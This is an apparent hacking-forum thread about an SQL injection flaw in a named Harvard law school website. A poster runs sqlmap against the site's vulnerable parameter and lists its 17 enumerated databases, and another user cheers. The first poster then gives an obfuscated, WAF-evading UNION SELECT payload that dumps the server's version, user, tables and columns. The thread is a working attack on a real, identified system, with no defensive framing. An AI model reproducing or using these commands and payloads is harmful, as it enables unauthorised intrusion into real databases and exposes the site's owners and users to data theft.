harvard.edu sql vuln (1 Viewer)

[x]

sqlmap.py -u http://amesfoundation.law.harvard.edu/ColonialAppeals/index_new_print.php?report_no=12_1699_00 --random-agent --threads=10 --dbs

available databases [17]:
[*] biobib2
[*] carib_can_appeals
[*] colonial_appeals
[*] colonial_appeals2
[*] colonial_appeals3
[*] hlsms
[*] information_schema
[*] moved-10262013
[*] movedb
[*] movedb_07052013
[*] movedb_11272013
[*] ms_32
[*] mysql
[*] papal_spoils
[*] test
[*] test_pd
[*] tui

 

[TntonE]

sqlmap.py güzellll

 

[x]

' uNioN SeLect 1,2,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3efbfbdcca03c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e666f5220494d54203078342073716c692044756d70696e673c666f6e7420636f6c6f723d677265656e3e2823293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,4,5-- -

0x6E696365